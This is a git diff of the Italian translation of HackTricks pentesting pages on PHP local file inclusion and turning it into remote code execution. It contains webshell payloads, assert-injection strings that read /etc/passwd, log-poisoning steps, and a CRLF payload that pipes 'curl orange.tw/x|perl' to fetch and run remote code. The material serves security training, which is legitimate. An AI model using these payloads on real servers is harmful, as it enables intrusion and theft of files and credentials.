+- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando applichiamo abbastanza trasformazioni da farla non essere più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'errore php. +- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: `a -> b`). Questo ci permette di scoprire se la prima lettera è una `a` per esempio, perché se applichiamo 6 volte questo codec `a->b->c->d->e->f->g` la lettera non è più un carattere esadecimale, quindi dechunk non la elimina e l'errore php viene innescato perché si moltiplica con la bomba iniziale. +- Usando altre trasformazioni come **rot13** all'inizio è possibile leak altri caratteri come n, o, p, q, r (e altri codecs possono essere usati per portare altre lettere nell'intervallo hex). +- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leak le prime 2 lettere per ottenere il numero. +- Il problema finale è capire **how to leak more than the initial letter**. Usando filtri che cambiano l'ordine dei byte in memoria come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e portare in prima posizione altre lettere del testo. +- E per poter ottenere **further data** l'idea è di **generare 2 byte di junk data all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli pivotare con i successivi 2 byte, e **cancellare i dati fino ai junk data** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così finché non si raggiunge il bit desiderato da leak. -Nel post è stato anche pubblicato uno strumento per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Nel post è stato anche pubblicato uno strumento per eseguire automaticamente questo: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto di file aperti: +Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto dei file aperti: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Puoi anche usare **php://stdin, php://stdout e php://stderr** per accedere ai **descrittori di file 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attacco) +Puoi anche usare **php://stdin, php://stdout and php://stderr** per accedere ai **descrittori di file 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attack) ### zip:// and rar:// Carica un file Zip o Rar con una PHPShell all'interno e accedervi.\ -Per poter sfruttare il protocollo rar, esso **deve essere specificamente attivato**. +Per poter abusare del protocollo rar è **necessario attivarlo specificamente**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Nota che questo protocollo è limitato dalle configurazioni PHP **`allow_url_open`** e **`allow_url_include`** +Nota che questo protocollo è limitato dalle configurazioni php **`allow_url_open`** e **`allow_url_include`** ### expect:// @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -Per compilare il file `.phar`, eseguire il seguente comando: +Per compilare il file `.phar`, deve essere eseguito il seguente comando: ```bash php --define phar.readonly=0 create_path.php ``` -Alla sua esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere utilizzato per sfruttare vulnerabilità di Local File Inclusion (LFI). +Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per attaccare vulnerabilità di Local File Inclusion (LFI). -Nei casi in cui la LFI effettua solo la lettura dei file senza eseguire il codice PHP al loro interno, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, è possibile tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file usando il protocollo `phar`. +Nei casi in cui l'LFI esegue solo la lettura di file senza eseguire il codice PHP al loro interno — ad esempio attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()` — si può tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è legata alla lettura di file usando il protocollo `phar`. -Per una comprensione dettagliata dello sfruttamento di vulnerabilità di deserializzazione nel contesto dei file `.phar`, consultare il documento collegato qui sotto: +For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -373,32 +373,32 @@ phar-deserialization.md ### CVE-2024-2961 -È stato possibile sfruttare **qualsiasi lettura di file arbitraria da PHP che supporta php filters** per ottenere una RCE. La descrizione dettagliata può essere [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato sfruttato per **alterare la catena dei chunk liberi** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\ -È stato possibile allocare chunk di dimensioni specifiche abusando di ulteriori php filters. +It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato sfruttato per **alterare la catena di free chunks** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\ +È stato possibile allocare chunk di dimensioni specifiche abusando di altri php filters. ### More protocols -Consulta altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** +Vedi altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di file inclusion) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s) - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathname corrispondenti al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames che corrispondono al pattern (non restituisce nulla di stampabile, quindi non è molto utile qui) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (Non utile per leggere file arbitrari) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari) -## LFI via PHP's 'assert' +## LFI tramite 'assert' di PHP -I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si ha a che fare con la funzione 'assert', che può eseguire codice presente in stringhe. Questo è particolarmente problematico se l'input che contiene caratteri di directory traversal come ".." viene controllato ma non correttamente sanitizzato. +I rischi di Local File Inclusion (LFI) in PHP sono particolarmente alti quando si lavora con la funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se l'input contenente caratteri di directory traversal come ".." viene controllato ma non adeguatamente sanitizzato. Ad esempio, del codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Sebbene ciò miri a impedire la traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare: +Sebbene ciò miri a bloccare la traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto dei file, un attaccante potrebbe usare: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -406,18 +406,18 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare: ```plaintext ' and die(system("id")) or ' ``` -È importante **URL-encode these payloads**. +È importante **URL-encode** questi **payloads**. ## PHP Blind Path Traversal > [!WARNING] -> Questa tecnica è rilevante nei casi in cui tu **controlli** il **percorso del file** di una **funzione PHP** che **accéderà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato. +> Questa tecnica è rilevante nei casi in cui tu **controlli** il **file path** di una **PHP function** che **access a file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato. -In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal possa essere abusato via PHP filter per **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal possa essere abusato tramite PHP filter per **exfiltrate the content of a file via an error oracle**. -In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file innescherà un **errore**. +In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function** che apre il file innescherà un **errore**. -Poi, per leak del primo char viene utilizzato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13**, e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **place other chars at the beggining and leak them**. +Poi, per ottenere il leak del primo char viene usato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13**, e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **place other chars at the beggining and leak them**. **Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` @@ -427,20 +427,20 @@ Per i dettagli tecnici controlla il post menzionato! ### Arbitrary File Write via Path Traversal (Webshell RCE) -Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (es., un filename o URL) senza canonicalizzare e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload in una directory esposta dal web, di solito ottieni RCE non autenticata inserendo una webshell. +Quando il codice server-side che ingests/uploads file costruisce il destination path usando dati controllati dall'utente (es. un filename o URL) senza canonicalising e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare un arbitrary file write. Se riesci a posizionare il payload sotto una web-exposed directory, di solito ottieni una unauthenticated RCE droppando una webshell. -Workflow tipico di sfruttamento: -- Identifica una primitive di scrittura in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.). -- Determina le directory esposte al web. Esempi comuni: +Typical exploitation workflow: +- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +- Determine web-exposed directories. Common examples: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Crea un percorso di traversal che esca dalla directory di storage prevista verso il webroot, e includi il contenuto della tua webshell. -- Naviga fino al payload droppato ed esegui comandi. +- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. +- Browse to the dropped payload and execute commands. -Note: -- Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) servirà poi il tuo payload. -- Negli stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale. +Notes: +- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. +- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,26 +466,26 @@ in.transferTo(out); ``` -Mitigazioni che contrastano questa classe di bug: -- Risolvere a un percorso canonico e garantire che sia un discendente di una directory base allow-listed. -- Rifiutare qualsiasi percorso contenente `..`, root assoluti, o lettere di drive; preferire nomi di file generati. -- Eseguire il writer con un account a basso privilegio e segregare le directory di scrittura dalle root servite. +Hardening che neutralizza questa classe di bug: +- Risolvere in un percorso canonico e assicurarsi che sia un discendente di una directory base allow-listed. +- Rifiutare qualsiasi percorso che contenga `..`, root assoluti, o lettere di drive; preferire nomi di file generati. +- Eseguire il writer come un account a basso privilegio e segregare le directory di scrittura dalle root servite. ## Remote File Inclusion -Spiegato in precedenza, [**follow this link**](#remote-file-inclusion). +Explained previously, [**follow this link**](#remote-file-inclusion). ### Via Apache/Nginx log file -Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire nel **user agent** o in un **GET parameter** una php shell come **``** e includere quel file +Se il server Apache o Nginx è **vulnerable to LFI** dentro la funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire dentro il **user agent** o in un **GET parameter** una php shell come **``** e includere quel file > [!WARNING] -> Nota che **se usi doppi apici** per la shell invece di **virgolette semplici**, i doppi apici saranno modificati nella stringa "_**quote;**_", **PHP genererà un errore** lì e **niente verrà eseguito**. +> Nota che **se usi le double quotes** per la shell invece delle **simple quotes**, le double quotes verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** lì e **niente altro verrà eseguito**. > -> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genera un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità. +> Inoltre, assicurati di **scrivere correttamente il payload** o PHP darà errore ogni volta che tenterà di caricare il file di log e non avrai una seconda opportunità. -Questo può essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questo header.\ -Altri possibili percorsi di log: +Questo può essere fatto anche in altri log ma **fai attenzione,** il codice dentro i log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato dentro i log. La PHPShell potrebbe essere inserita dentro questo header.\ +Other possible log paths: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -497,41 +497,41 @@ Altri possibili percorsi di log: /var/log/nginx/error.log /var/log/httpd/error_log ``` -Wordlist per Fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) +Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) ### Via Email **Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `` e prova a includere la mail dell'utente con un percorso come **`/var/mail/`** o **`/var/spool/mail/`** -### Via /proc/\*/fd/\* +### Via /proc/*/fd/* -1. Carica molte shells (per esempio : 100) -2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (anche questo può essere brute forced) +1. Carica molte shells (per esempio: 100) +2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere determinato via brute force) e $FD il file descriptor (può essere determinato via brute force anche questo) ### Via /proc/self/environ -Come un file di log, invia il payload nello User-Agent, verrà riflesso nel file /proc/self/environ +Come un file di log, invia il payload nel User-Agent; sarà riflesso all'interno del file /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload -Se puoi uploadare un file, basta iniettare il shell payload al suo interno (es.: ``). +Se puoi uploadare un file, iniettaci semplicemente lo shell payload (es.: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Per mantenere il file leggibile è meglio inserire nei metadati delle immagini/doc/pdf +Per mantenere il file leggibile è meglio iniettare nei metadati delle immagini/doc/pdf ### Via upload di file ZIP -Carica un file ZIP che contiene una PHP shell compressa e accedi: +Carica un file ZIP contenente una PHP shell compressa e accedi: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Tramite PHP sessions +### Via sessioni PHP -Verifica se il sito usa PHP Session (PHPSESSID) +Verificare se il sito web utilizza sessioni PHP (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly @@ -551,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Via ssh -Se ssh è attivo controlla quale utente è in uso (/proc/self/status & /etc/passwd) e prova ad accedere **\/.ssh/id_rsa** +Se ssh è attivo, verifica quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a **\/.ssh/id_rsa** ### **Via** **vsftpd** _**logs**_ -The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered: +I logs per il server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui sia presente una vulnerabilità di Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi: -1. Inject a PHP payload into the username field during the login process. -2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_. +1. Inietta un payload PHP nel campo username durante il processo di login. +2. Dopo l'iniezione, utilizza la LFI per recuperare i logs del server da _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) -As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, PHP base64 filter semplicemente ignora i caratteri Non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci un base64 che termina con ".php", esso semplicemente ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload: +Come mostrato in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, il filtro PHP base64 ignora i caratteri non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci una base64 che termina con ".php", il filtro ignorerà il "." e aggiungerà "php" alla base64. Ecco un payload di esempio: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -570,7 +570,7 @@ NOTE: the payload is "" ``` ### Via php filters (nessun file necessario) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters per generare contenuto arbitrario** as output. Which basically means that you can **generare codice php arbitrario** for the include **senza doverlo scrivere** in un file. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters to generate arbitrary content** come output. Il che significa sostanzialmente che puoi **generate arbitrary php code** per l'include **without needing to write** it in un file. {{#ref}} @@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Carica** un file che verrà memorizzato come **temporaneo** in `/tmp`, poi nella **stessa richiesta** causa un **segmentation fault**, e il **file temporaneo non verrà eliminato** e potrai cercarlo. +**Upload** un file che sarà memorizzato come **temporary** in `/tmp`, poi nella **same request,** provoca un **segmentation fault**, e allora il **temporary file won't be deleted** e puoi cercarlo. {{#ref}} @@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md ### Via Nginx temp file storage -Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica: +Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a **PHP** potresti ottenere **RCE** con la seguente tecnica: {{#ref}} @@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Se trovi una **Local File Inclusion** anche se **non hai una sessione** e `session.auto_start` è `Off`. Se fornisci la **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **abiliterà la sessione per te**. Potresti abusarne per ottenere RCE: +Se trovi una **Local File Inclusion** anche se **don't have a session** e `session.auto_start` è `Off`. Se fornisci il **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **enable the session for you**. Potresti abusarne per ottenere **RCE**: {{#ref}} @@ -606,7 +606,7 @@ via-php_session_upload_progress.md ### Via temp file uploads in Windows -Se trovi una **Local File Inclusion** e il server è in esecuzione su **Windows**, potresti ottenere RCE: +Se trovi una **Local File Inclusion** e il server è in esecuzione su **Windows** potresti ottenere **RCE**: {{#ref}} @@ -615,56 +615,56 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste di default in php docker images. Inoltre, è possibile passare argomenti allo script tramite l'URL perché è indicato che se un parametro dell'URL non ha un `=`, dovrebbe essere usato come argomento. Vedi anche [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Quanto segue sfrutta una vuln CRLF per ottenere RCE (da [**qui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Quanto segue sfrutta una CRLF vuln per ottenere RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### Via phpinfo() (file_uploads = on) +### Tramite phpinfo() (file_uploads = on) -Se trovi una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on puoi ottenere RCE: +Se trovi una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on, puoi ottenere RCE: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### Tramite compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Se trovi una **Local File Inclusion** e puoi **esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere abbia marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**: +Se trovi una **Local File Inclusion** e puoi **exfiltrate the path** del temp file MA il **server** sta **checking** se il **file to be included has PHP marks**, puoi provare a **bypass that check** con questa **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Via eternal waiting + bruteforce +### Tramite eternal waiting + bruteforce -Se puoi abusare della LFI per **caricare file temporanei** e far sì che il server **blocchi** l'esecuzione PHP, potresti poi **forzare i nomi dei file per ore** per trovare il file temporaneo: +Se puoi abusare della **LFI** per **upload temporary files** e far **hang** l'esecuzione PHP, potresti poi **brute force filenames durante ore** per trovare il file temporaneo: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Verso un Fatal Error +### Per causare un Fatal Error -Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per far scattare quell'errore). +Se includi uno qualsiasi dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per generare quell'errore). -**Non so quanto possa essere utile, ma potrebbe esserlo.**\ -_Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._ +**Non so quanto questo sia utile ma potrebbe esserlo.**\ +_Anche se provochi un PHP Fatal Error, i file temporanei PHP caricati vengono cancellati._
-## References +## Riferimenti - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) @@ -673,6 +673,7 @@ _Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono elimi - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 8e2cd0f9f..b2ccab819 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -2,38 +2,39 @@ {{#include ../../banners/hacktricks-training.md}} -## Intro -Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **i filtri php per generare contenuti arbitrari** come output. Questo significa fondamentalmente che puoi **generare codice php arbitrario** per l'inclusione **senza doverlo scrivere** in un file. +## Introduzione -Fondamentalmente, l'obiettivo dello script è **generare una stringa Base64** all'inizio del file che sarà **finalmente decodificata** fornendo il payload desiderato che sarà **interpretato da `include`**. +[**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters** per generare contenuto arbitrario come output. Questo fondamentalmente significa che puoi generare **php code** arbitrario per l'include **senza doverlo scrivere** in un file. -Le basi per fare questo sono: +L'obiettivo dello script è **generare una stringa Base64** all'**inizio** del file che verrà **finalmente decodificata**, fornendo il payload desiderato che verrà **interpretato da `include`**. -- `convert.iconv.UTF8.CSISO2022KR` premetterà sempre `\x1b$)C` alla stringa -- `convert.base64-decode` è estremamente tollerante, ignorerà fondamentalmente qualsiasi carattere che non sia un base64 valido. Presenta alcuni problemi se trova "=" inaspettati, ma questi possono essere rimossi con il filtro `convert.iconv.UTF8.UTF7`. +Le basi per farlo sono: -Il ciclo per generare contenuti arbitrari è: +- `convert.iconv.UTF8.CSISO2022KR` prependerà sempre `\x1b$)C` alla stringa +- `convert.base64-decode` è estremamente tollerante: essenzialmente ignorerà qualsiasi carattere che non sia un carattere base64 valido. Può creare qualche problema se trova un "=" inatteso, ma questi possono essere rimossi con il filtro `convert.iconv.UTF8.UTF7`. -1. premere `\x1b$)C` alla nostra stringa come descritto sopra -2. applicare una catena di conversioni iconv che lascia intatta la nostra base64 iniziale e converte la parte che abbiamo appena premuto in una stringa dove l'unico carattere base64 valido è la parte successiva del nostro codice php codificato in base64 -3. decodificare in base64 e ricodificare la stringa che rimuoverà qualsiasi spazzatura nel mezzo -4. Tornare al punto 1 se la base64 che vogliamo costruire non è ancora finita -5. decodificare in base64 per ottenere il nostro codice php +Il ciclo per generare contenuto arbitrario è: + +1. aggiungi `\x1b$)C` all'inizio della nostra stringa come descritto sopra +2. applica una catena di conversioni iconv che lascia intatto il nostro base64 iniziale e converte la parte che abbiamo appena preapposto in una stringa in cui l'unico carattere base64 valido è la parte successiva del nostro codice php codificato in base64 +3. decodifica base64 e codifica di nuovo in base64 la stringa, il che rimuoverà qualsiasi "garbage" nel mezzo +4. torna al punto 1 se il base64 che vogliamo costruire non è ancora completo +5. decodifica base64 per ottenere il nostro php code > [!WARNING] -> **Include** di solito fanno cose come **aggiungere ".php" alla fine** del file, il che potrebbe rendere difficile lo sfruttamento di questo perché dovresti trovare un file .php con un contenuto che non uccida l'exploit... oppure **potresti semplicemente usare 